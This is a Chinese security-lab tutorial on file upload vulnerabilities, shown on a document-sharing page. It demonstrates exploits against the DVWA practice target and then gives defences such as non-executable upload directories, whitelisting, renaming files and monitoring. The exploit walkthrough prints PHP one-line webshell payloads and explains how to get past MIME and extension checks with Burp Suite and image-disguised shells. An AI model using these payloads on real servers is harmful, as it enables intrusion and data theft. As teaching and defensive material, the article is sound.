文件上传漏洞利用及防御方案
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
文件上传漏洞利用及防御方案
作者美创科技安全实验室
01、漏洞介绍
文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等。
正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回。
如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网。
02、文件上传漏洞原理
03、文件上传漏洞复现
利用DVWA靶场进行文件上传漏洞演练:
1.Low Security Level
查看源码:
这是最开始的页面:
我们尝试上传桌面上的一个图片2.jpg
这时,我们来研究一下这个路径:../../hackable/uploads/2.jpg succesfully uploaded!
这是一个绝对路径,我们直接输入网址http://127.0.0.1/DVWA/hackable/uploads/2.jpg
这时候,我们尝试上传桌面上的1.php文件,写入的内容为<?php phpinfo();?>
如图,1.php文件上传成功,服务器并未做任何过滤限制:
我们再次访问上传的路径:http://127.0.0.1/DVWA/hackable/uploads/1.php
说明存在文件上传漏洞,能够上传并且执行php文件
这个时候如果上传一句话木马:<?php@eval($_GET['joker']);?>
并用中国蚁剑进行连接,就可以得到这个服务器的Webshell
这样我们就可以访问这个服务器的任何文件夹,可见,文件上传漏洞的是非常具有危害性的。
2.Medium Security Level
查看源码:
源码中对上传的文件类型跟大小对进行了判断过滤,也就是说正常情况下,不能够上传不符合文件类型的文件。
我们用burpsuite抓包,将文件的上传类型修改为image/jepg
攻击成功后发现php文件上传成功
3.High Security Level
查看源码:
源代码严格限制了文件的后缀和内容:
php后缀名和php内容×
php后缀名和img内容×
img后缀名和php内容×
这时候,我们就可以把php伪造成jpg绕过,也就是制作一句话图片木马,下图是用cmd制作的一句话图片木马:
用记事本打开可以看见这么一句话:<?php@eval($_POST['joker']);?>
然后我们就可以上传了,上传成功后,用中国蚁剑进行连接,就可以拿到Webshell权限。
04防御方案
系统运行时的防御
1、文件上传的目录设置为不可执行。
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。
2、判断文件类型。
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。
在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。
此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
3、使用随机数改写文件名和文件路径。
文件上传如果要执行代码,则需要用户能够访问到这个文件。
在某些环境中,用户能上传,但不能访问。
如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。
再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
4、单独设置文件服务器的域名。
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。
5、使用安全设备防御。
文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。
恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。
系统开发阶段的防御
对文件上传漏洞来说,最好能在客户端和服务器端对用户上传的文件名和文件路径等项目分别进行严格的检查。
客户端的检查虽然对技术较好的攻击者来说可以借助工具绕过,但是这也可以阻挡一些基本的试探。
服务器端的检查最好使用白名单过滤的方法,这样能防止大小写等方式的绕过,同时还需对%00截断符进行检测,对HTTP包头的content-type也和上传文件的大小也需要进行检查。
系统维护阶段的防御
1、系统上线后运维人员应有较强的安全意思,积极使用多个安全检测工具对系统进行安全扫描,及时发现潜在漏洞并修复。
2、定时查看系统日志,web服务器日志以发现入侵痕迹。
定时关注系统所使用到的第三方插件的更新情况,如有新版本发布建议及时更新,如果第三方插件被爆有安全漏洞更应立即进行修补。
3、对于整个网站都是使用的开源代码或者使用网上的框架搭建的网站来说,尤其要注意漏洞的自查和软件版本及补丁的更新,上传功能非必选可以直接删除。
除对系统自身的维护外,服务器应进行合理配置,非必选一般的目录都应去掉执行权限,上传目录可配置为只读。